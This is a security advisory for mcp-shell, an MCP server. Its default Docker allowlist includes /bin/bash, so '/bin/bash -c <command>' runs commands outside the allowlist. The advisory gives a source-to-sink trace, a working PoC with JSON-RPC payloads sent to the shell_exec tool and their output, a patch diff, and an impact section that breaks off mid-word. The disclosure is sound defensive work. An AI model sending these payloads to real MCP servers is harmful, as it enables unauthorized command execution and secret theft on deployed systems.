Résumé

mcp-shell has a Secure Mode Allowlist Bypass via Default `/bin/bash` Executable

Détails de l’avis

Summary

mcp-shell ships a default Docker configuration (security.yaml) that includes /bin/bash in the allowed_executables allowlist. The command validator (security.go) only checks whether the first token of the supplied command matches an allowed executable; it does not inspect or reject shell command-mode flags such as -c. As a result, any MCP tool caller can send command=/bin/bash -c <arbitrary-command> to the shell_exec tool and execute commands that are not in the allowlist — including id, env, curl, wget, and any other binary present in the container. The bypass works with the default Docker image, requires no authentication, and requires no modifications to server configuration. Successful exploitation gives the attacker arbitrary OS command execution inside the container as mcpuser.

Details

mcp-shell implements a secure mode in which command execution is restricted to an explicit allowlist of executables defined in security.yaml. The Docker image ships this file with the following entry:

# security.yaml (line 29)
allowed_executables:
  - "ls"
  - ...
  - "/bin/bash"  # Only allow if you trust the arguments

The comment itself acknowledges the risk, but the shipped default does not enforce any argument-level restriction. The validation logic in security.go is responsible for enforcing secure mode:

// security.go:84-96
for _, allowed := range v.config.AllowedExecutables {
    if v.matchesExecutable(executable, allowed) {
        if err := v.checkBlockedPatternsAndCommands(command); err != nil {
            return err
        }
        return nil
    }
}

executable is derived solely from parts[0] after splitting the input on whitespace (security.go:67). When the command is /bin/bash -c id, executable evaluates to /bin/bash, which matches the allowlist entry. The -c flag and subsequent arguments are passed to checkBlockedPatternsAndCommands, which only checks for shell metacharacters (|, &, ;, <, >, (, ), {, }, [, ], `, $, \, ", ') and a configurable list of blocked_commands/blocked_patterns — both of which default to empty arrays in the shipped configuration. The flag -c does not match any blocked metacharacter, so the check passes.

The validated command then reaches the executor:

// executor.go:149-163
executable, args, err := e.parseCommand(command)
// ...
cmd = exec.CommandContext(ctx, executable, args...)

parseCommand splits the command string, yielding executable="/bin/bash" and args=["-c", "id"]. exec.CommandContext is invoked directly — no shell is spawned by the executor itself — but /bin/bash -c id is equivalent to a shell invocation, executing id outside the allowlist.

Data flow (source → sink):

Step Location Description
1 Dockerfile:55 COPY security.yaml /etc/mcp-shell/security.yaml — bundles vulnerable config into image
2 Dockerfile:57 ENV MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml — activates config by default
3 security.yaml:29 /bin/bash registered in allowed_executables
4 main.go:84-102 MCP tool shell_exec registered with required command parameter
5 handler.go:34 command := request.RequireString("command") — attacker-controlled input received
6 handler.go:49 h.validator.validateCommand(command) — validation called
7 security.go:67-96 executable = parts[0] matches /bin/bash; -c not blocked; returns nil
8 handler.go:59 Validated command forwarded to executor
9 executor.go:163 exec.CommandContext(ctx, "/bin/bash", "-c", "id") — sink: arbitrary execution

PoC

Prerequisites:

  • Docker installed and accessible.
  • Repository source code checked out (build context is the repository root).
  • python3 available (for the automated PoC script).

Step 1 — Build the Docker image

docker build \
  -f vuln-001/Dockerfile \
  /path/to/mcp-shell-repo \
  -t mcp-shell-vuln-001:latest

Step 2 — Run the PoC script

python3 vuln-001/poc.py mcp-shell-vuln-001:latest

The script sends three MCP JSON-RPC requests over stdio:

  1. initialize handshake
  2. tools/call shell_exec with command="/bin/bash -c id"exploit payload
  3. tools/call shell_exec with command="id"control: direct invocation must be blocked

Expected output (exploit success):

[id=2] /bin/bash -c id response:
  → status='success', exit_code=0, stdout='uid=1000(mcpuser) gid=1000(mcpuser) groups=1000(mcpuser),1000(mcpuser)'

[+] PASS: uid= confirmed → /bin/bash -c via arbitrary command execution  successful!

[+] control confirmed: 'id' direct execution blocked (allowlist behavior normal)
    → allowlist bypass  /bin/bash -c only through the path occurs proven

Alternatively, using raw printf (no Python required):

printf '%s\n' \
  '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"poc","version":"0.0.1"}}}' \
  '{"jsonrpc":"2.0","method":"notifications/initialized","params":{}}' \
  '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"shell_exec","arguments":{"command":"/bin/bash -c id","base64":false}}}' \
| docker run --rm -i mcp-shell-vuln-001:latest

Observed MCP response:

{
  "command": "/bin/bash -c id",
  "execution_time": "3.854555ms",
  "exit_code": 0,
  "security_info": {"security_enabled": true, "working_dir": "/tmp", "timeout_applied": true},
  "status": "success",
  "stderr": "",
  "stdout": "uid=1000(mcpuser) gid=1000(mcpuser) groups=1000(mcpuser),1000(mcpuser)"
}

Remediation (patch guidance):

  1. Remove shell interpreters from the default security.yaml allowlist:
--- a/security.yaml
+++ b/security.yaml
-    - "/bin/bash"  # Only allow if you trust the arguments
  1. Add argument-level validation in security.go to block shell command-mode flags even when a shell interpreter is allowlisted:
--- a/security.go
+++ b/security.go
  executable := parts[0]
+ args := parts[1:]
+
+ if isShellCommandMode(executable, args) {
+     return fmt.Errorf("shell command mode is not allowed in secure mode: %s", executable)
+ }

  // Check if the executable is in the allowlist
  for _, allowed := range v.config.AllowedExecutables {
  ...
  }
+
+ func isShellCommandMode(executable string, args []string) bool {
+     base := filepath.Base(executable)
+     switch base {
+     case "sh", "bash", "dash", "ash", "zsh", "ksh":
+         for _, arg := range args {
+             if arg == "-c" || (strings.HasPrefix(arg, "-") && strings.Contains(arg, "c")) {
+                 return true
+             }
+         }
+     }
+     return false
+ }

Impact

This is an OS Command Injection vulnerability (CWE-78). The shell_exec MCP tool is designed to execute only pre-approved executables; the bypass allows an attacker to run arbitrary commands present in the container image (curl, wget, env, sed, grep, tar, etc. — all installed by the Dockerfile) under the identity of mcpuser (UID 1000).

Who is impacted:

  • Any operator deploying the official Docker image without modifying the default security.yaml is vulnerable immediately upon deployment. No custom configuration, no elevated privileges, and no prior authentication are required.
  • MCP clients that interact with a vulnerable mcp-shell instance — including automated AI agents, LLM orchestration platforms, and CI/CD pipelines — may be leveraged to exfiltrate secrets, tamper with files accessible to mcpuser, or pivot further within the container's network.
  • The --network=none flag used in the PoC demonstrates successful exploitation even with no network access; in production deployments with network access, the impact extends to data exfiltration and lateral mov

Références